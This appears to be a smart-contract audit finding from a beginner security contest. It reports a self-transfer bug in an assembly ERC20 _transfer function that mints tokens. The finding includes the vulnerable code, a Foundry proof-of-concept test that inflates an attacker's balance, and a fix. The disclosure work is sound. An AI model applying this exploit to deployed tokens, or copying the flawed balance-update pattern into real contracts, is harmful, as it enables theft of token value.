Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Self-Transfer Allows Unlimited Token Minting

Author Revealed upon completion

Root + Impact

A critical vulnerability in the _transfer function allows any user to mint unlimited tokens by simply transferring to themselves, completely breaking the token economics and enabling theft of value.

Description

  • The ERC20 standard allows transfers where from == to (self-transfers). The normal behavior should be that the user's balance remains unchanged after a self-transfer.

  • The _transfer function loads both fromAmount and toAmount before performing any storage writes. When from == to, both variables point to the same storage slot and both load the same original balance. The function then writes fromAmount - value followed by toAmount + value. Since both slots are identical and toAmount still holds the original balance (not the decremented value), the final balance becomes originalBalance + value.

@> src/helpers/ERC20Internals.sol
function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
// ... validation ...
let ptr := mload(0x40)
let baseSlot := _balances.slot
mstore(ptr, from)
mstore(add(ptr, 0x20), baseSlot)
let fromSlot := keccak256(ptr, 0x40)
@> let fromAmount := sload(fromSlot) // Load original balance (e.g., 100)
mstore(ptr, to)
mstore(add(ptr, 0x20), baseSlot)
let toSlot := keccak256(ptr, 0x40)
@> let toAmount := sload(toSlot) // When from==to, toSlot==fromSlot, toAmount also = 100
if lt(fromAmount, value) {
// ... revert logic ...
}
@> sstore(fromSlot, sub(fromAmount, value)) // Store 100 - 50 = 50
@> sstore(toSlot, add(toAmount, value)) // Store 100 + 50 = 150 (overwrites previous!)
// Final balance: 150 instead of 100
success := 1
// ... event emission ...
}
}

Risk

Likelihood:

  • Any user can call transfer(msg.sender, value) at any time

  • No special permissions or conditions required

  • Attacker can repeat infinitely to mint any amount of tokens

Impact:

  • Complete destruction of token economics and value

  • Attacker can mint unlimited tokens and dump on markets

  • All holders suffer total loss of value

  • Protocol becomes unusable

Proof of Concept

Here is the proof of concept, in which we are calling transfer method and the to and from are the same address and balance is increased.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract SelfTransferExploit is Test {
Token public token;
function setUp() public {
token = new Token();
}
function test_selfTransferMint() public {
address attacker = makeAddr("attacker");
// Attacker starts with 100 tokens
token.mint(attacker, 100e18);
assertEq(token.balanceOf(attacker), 100e18);
// Attacker transfers to themselves
vm.prank(attacker);
token.transfer(attacker, 50e18);
// Attacker now has 150 tokens (gained 50 tokens from nothing)
assertEq(token.balanceOf(attacker), 150e18);
// Attacker can repeat to get unlimited tokens
vm.prank(attacker);
token.transfer(attacker, 75e18);
assertEq(token.balanceOf(attacker), 225e18);
}
}

Recommended Mitigation

Handle the self-transfer case by returning early without modifying balances, or check if addresses are the same and skip the balance updates.

function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
if iszero(from) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
if iszero(to) {
mstore(0x00, shl(224, 0xec442f05))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
+ // Handle self-transfer case - just emit event and return
+ if eq(from, to) {
+ // Still need to check balance
+ let ptr := mload(0x40)
+ let baseSlot := _balances.slot
+ mstore(ptr, from)
+ mstore(add(ptr, 0x20), baseSlot)
+ let fromSlot := keccak256(ptr, 0x40)
+ let fromAmount := sload(fromSlot)
+ if lt(fromAmount, value) {
+ mstore(0x00, shl(224, 0xe450d38c))
+ mstore(add(0x00, 4), from)
+ mstore(add(0x00, 0x24), fromAmount)
+ mstore(add(0x00, 0x44), value)
+ revert(0x00, 0x64)
+ }
+ success := 1
+ mstore(ptr, value)
+ log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, from, to)
+ return(0, 0)
+ }
let ptr := mload(0x40)
let baseSlot := _balances.slot
// ... rest of function
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!